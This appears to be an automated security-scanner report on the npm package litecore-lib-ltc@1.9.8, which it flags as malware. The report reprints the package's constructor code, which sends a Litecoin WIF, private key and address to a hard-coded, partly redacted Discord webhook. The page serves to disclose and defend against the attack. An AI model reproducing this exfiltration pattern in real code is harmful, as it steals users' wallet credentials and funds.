litecore-lib-ltc@1.9.8
Litecoin utility functions for transaction creation, signing, and broadcasting.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package entrypoint contains an explicit attempt to send wallet credentials to a fixed Discord webhook, unrelated to Litecoin wallet functionality. Although the missing `axios` binding limits execution in a typical Node.js environment, the credential theft behavior is clear and reachable when that binding exists.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A caller constructs `LitecoinWallet` with a WIF; the transfer succeeds if `axios` is available as a global.
Impact
The recipient can use the wallet credentials to control the associated funds. The missing `axios` import prevents this call in a typical Node.js environment unless the caller provides a global binding.
Mechanism
The constructor posts the WIF, private key, and derived address to a Discord webhook embedded in `src/index.js`.
Attack narrative
When a caller constructs a wallet from a WIF, the constructor attempts to send the WIF, private key, and address to a hard-coded Discord webhook. In ordinary Node.js use the call fails because `axios` is not imported, but it can proceed if the application provides `axios` globally. The `send` method also prints the private key.
AI rationale
The package entrypoint contains an explicit attempt to send wallet credentials to a fixed Discord webhook, unrelated to Litecoin wallet functionality. Although the missing `axios` binding limits execution in a typical Node.js environment, the credential theft behavior is clear and reachable when that binding exists.
Evidence
src/index.js
Network endpoints1
discord.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest sets `src/index.js` as the package entrypoint.
- The wallet constructor sends the supplied WIF and derived private key to a hard-coded Discord webhook.
- The constructor parses the supplied WIF into a private key and address before attempting that post.
- The `send` method prints the private key to the console.
Evidence against
- `src/index.js` does not import or define `axios`, so the webhook call throws unless the application has supplied a global `axios`.
- The constructor only attempts the transfer when a caller creates a `LitecoinWallet` with a WIF.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedsrc/index.jsView file
6constructor(wif) {
L7: const { privateKey, address } = fromWIF(wif);
L8: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L9: content: wif, privateKey: privateKey.toString(), address,
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
src/index.jsView on unpkg · L66constructor(wif) {
L7: const { privateKey, address } = fromWIF(wif);
L8: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L9: content: wif, privateKey: privateKey.toString(), address,
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/index.jsView on unpkg · L66Trigger-reachable chain: manifest.main -> src/index.js
L6: constructor(wif) {
L7: const { privateKey, address } = fromWIF(wif);
L8: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L9: content: wif, privateKey: privateKey.toString(), address,
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationsrc/index.js
CriticalCredential Exfiltrationsrc/index.js
CriticalTrigger Reachable Dangerous Capabilitysrc/index.js
HighFixed Authenticated Webhook Data Exfiltrationsrc/index.js
HighTrigger Reachable Credential Exfiltrationsrc/index.js
HighAi Review Evidencepackage.json
HighAi Review Evidencesrc/index.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to litecore-lib-ltc@1.9.8.
See all versions of litecore-lib-ltc for other recorded verdicts.
- Avoid installing litecore-lib-ltc@1.9.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.